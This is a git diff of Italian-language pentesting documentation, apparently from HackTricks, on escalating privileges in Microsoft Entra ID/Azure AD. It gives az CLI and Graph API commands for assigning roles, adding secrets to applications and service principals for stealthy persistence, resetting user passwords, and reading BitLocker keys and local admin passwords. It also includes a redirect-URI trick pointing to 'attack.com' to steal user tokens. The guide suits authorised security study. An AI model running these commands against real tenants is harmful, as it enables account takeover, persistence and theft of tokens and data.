## Ruoli
-### Ruolo: Amministratore dei Ruoli Privilegiati
+### Ruolo: Privileged Role Administrator
-Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principi e per dare più autorizzazioni ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
+Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi.
-- Assegna ruolo a un utente:
+- Assegnare un ruolo a un utente:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- Aggiungi più permessi a un ruolo:
+- Aggiungere più permessi a un ruolo:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) a applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere quei privilegi.
+Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Questo consente le stesse azioni di `applications/credentials/update`, ma limitate ad applicazioni a directory singola.
+Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Aggiungendosi come proprietario, un attaccante può manipolare l'applicazione, comprese le credenziali e i permessi.
+Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,40 +77,153 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che utilizzano il nuovo URL di reindirizzamento per rubare i loro token. Si noti che se l'utente era già connesso all'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
+Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla.
-Si noti che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più autorizzazioni, ma in questo caso l'utente dovrà accettare nuovamente il prompt che chiede tutte le autorizzazioni.
+Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
+### Applications Privilege Escalation
+
+**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**.
+
+Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede.
+
+Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**.
+
+How to enumerate the API permissions of an application:
+```bash
+# Get "API Permissions" of an App
+## Get the ResourceAppId
+az ad app show --id "" --query "requiredResourceAccess" --output json
+## e.g.
+[
+{
+"resourceAccess": [
+{
+"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
+"type": "Scope"
+},
+{
+"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
+"type": "Role"
+}
+],
+"resourceAppId": "00000003-0000-0000-c000-000000000000"
+}
+]
+
+## For the perms of type "Scope"
+az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv
+az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
+
+## For the perms of type "Role"
+az ad sp show --id --query "appRoles[?id==''].value" -o tsv
+az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
+```
+
+Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
-Questo consente a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
+Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> La nuova password generata non apparirà nella console web, quindi questo potrebbe essere un modo furtivo per mantenere la persistenza su un service principal.\
+> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\
> Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarla. Per farlo hai bisogno di un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
+Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Questo consente a un attaccante di aggiungere credenziali a service principal esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
+Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e i permessi.
+Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions.
```bash
# Add new owner
spId=""
@@ -128,13 +241,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Dopo aver aggiunto un nuovo proprietario, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare il proprietario. Quindi **non puoi rimuovere i proprietari al giorno d'oggi**.
+> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
-### `microsoft.directory/servicePrincipals/disable` e `enable`
+### `microsoft.directory/servicePrincipals/disable` and `enable`
-Queste autorizzazioni consentono di disabilitare e abilitare i service principal. Un attaccante potrebbe utilizzare questa autorizzazione per abilitare un service principal a cui potrebbe accedere in qualche modo per escalare i privilegi.
+Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges.
-Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori autorizzazioni per prendere il controllo del service principal abilitato.
+Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Queste autorizzazioni consentono di creare e ottenere credenziali per il single sign-on che potrebbero consentire l'accesso a applicazioni di terze parti.
+Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
-### Applicazioni Privilege Escalation
-
-**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un'API Permission (come chiamata nella console di Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API senza un contesto utente (senza un accesso utente all'app), e senza necessitare di ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **applicazioni ad alta privilegio in ogni tenant di Entra ID**.
-
-Quindi, se un attaccante ha qualche permesso/ruolo che consente di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, guadagnando tutti i permessi che l'applicazione ha.
-
-Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni predefinite di Microsoft, tuttavia, qualche tempo dopo questo rapporto Microsoft ha risolto questo problema e ora non è più possibile accedere come applicazioni Microsoft. Tuttavia, è ancora possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
-
---
## Gruppi
### `microsoft.directory/groups/allProperties/update`
-Questo permesso consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation di privilegi.
+Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi.
```bash
az ad group member add --group --member-id
```
-**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
+**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
-Questo permesso consente di diventare un proprietario di gruppi. Un proprietario di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente aumentando i privilegi nel gruppo.
+Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
+**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
-Questo permesso consente di aggiungere membri a un gruppo. Un attaccante potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, concedendo accesso elevato.
+Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Questo permesso consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attaccante potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
+Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita.
```bash
groupId=""
az rest --method PATCH \
@@ -214,9 +319,9 @@ az rest --method PATCH \
```
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
-### Privesc dei Gruppi Dinamici
+### Dynamic Groups Privesc
-Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di gruppi dinamici. Per ulteriori informazioni controlla:
+Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Questo permesso consente di reimpostare la password per utenti non amministratori, permettendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questo permesso non può essere assegnato a ruoli personalizzati.
+Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati.
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà, pertanto, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un gruppo dinamico specifico e ottenere privilegi elevati.
+Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges.
```bash
#e.g. change manager of a user
victimUser=""
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Politiche di Accesso Condizionale e bypass MFA
+## Policy di Accesso Condizionale & bypass MFA
-Le politiche di accesso condizionale mal configurate che richiedono MFA possono essere eluse, controlla:
+Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Questa autorizzazione consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
+Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
```bash
deviceId=""
userId=""
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Questo permesso consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o per eludere le politiche di sicurezza.
+Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza.
```bash
deviceId=""
userId=""
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Questa autorizzazione consente agli attaccanti di leggere le proprietà delle credenziali dell'account amministratore locale di backup per i dispositivi uniti a Microsoft Entra, inclusa la password.
+Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Questo permesso consente di accedere alle chiavi di BitLocker, il che potrebbe consentire a un attaccante di decrittografare i dischi, compromettendo la riservatezza dei dati.
+Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati.
```bash
# List recovery keys
az rest --method GET \
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index bc67e47cb..7f89fdb0c 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Informazioni di base
+## Basic Information
-Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per identity and access management. È fondamentale per permettere agli utenti di effettuare sign in e ottenere accesso a risorse sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, the Azure portal e molte altre applicazioni SaaS. La progettazione di Azure AD si concentra nel fornire servizi di identità essenziali, includendo in particolare **authentication, authorization, and user management**.
+Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti.
-Le funzionalità chiave di Azure AD comprendono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri Microsoft security services. Queste funzionalità aumentano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare e far rispettare efficacemente le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità utente.
+Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti.
-## Enumerazione
+## Enumeration
-### **Connessione**
+### **Connection**
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Quando ti **login** tramite **CLI** su Azure con qualsiasi programma, stai usando una **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **liste di applicazioni consentite** visibili nella console, **ma sono consentite di default**.
+Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**.
-Ad esempio, uno **powershell script** che **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere usando strumenti che si connettono tramite quell'App.
+Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.
Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**:
```bash
@@ -227,7 +227,7 @@ az account tenant list
### Utenti
-Per ulteriori informazioni sugli utenti Entra ID consulta:
+Per maggiori informazioni sugli utenti Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
-#### Cambiare la password dell'utente
+#### Cambia la password dell'utente
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
@@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
-È fortemente raccomandato abilitare MFA per ogni utente; tuttavia alcune aziende non lo impostano o lo configurano tramite Conditional Access: all'utente verrà **richiesto MFA se** effettua l'accesso da una posizione, browser o altra condizione specifica. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
+È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Gruppi
-Per maggiori informazioni sui gruppi di Entra ID consulta:
+Per maggiori informazioni sui gruppi Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
#### Aggiungi utente al gruppo
-I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
+I proprietari del gruppo possono aggiungere nuovi utenti al gruppo.
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, questo può permettere di abusare di questa funzionalità per **entrare in altri gruppi**.\
-> Controlla come abusare dei gruppi dinamici nella seguente pagina:
+> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
+> Consulta come abusare dei gruppi dinamici nella pagina seguente:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
### Service Principals
-Per maggiori informazioni sui service principals di Entra ID consulta:
+Per maggiori informazioni sui Service Principals di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Elenca e prova ad aggiungere un client secret su ogni Enterprise App
+Elenca e prova ad aggiungere un client secret per ogni Enterprise App
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -717,8 +717,8 @@ Per maggiori informazioni sulle Applicazioni consulta:
Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni:
-- **Permissions** assegnate al **Service Principal**
-- **Permissions** che la **app** può avere e utilizzare per conto dell'**utente**.
+- **Autorizzazioni** assegnate al **Service Principal**
+- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
+
+Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** concedendosi il ruolo.\
-> Per maggiori informazioni [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\
+> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> Una stringa segreta che l'applicazione usa per dimostrare la propria identità quando richiede un token è l'application password.\
-> Quindi, se trovi questa **password** puoi accedere come **service principal** all'interno del **tenant**.\
+> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\
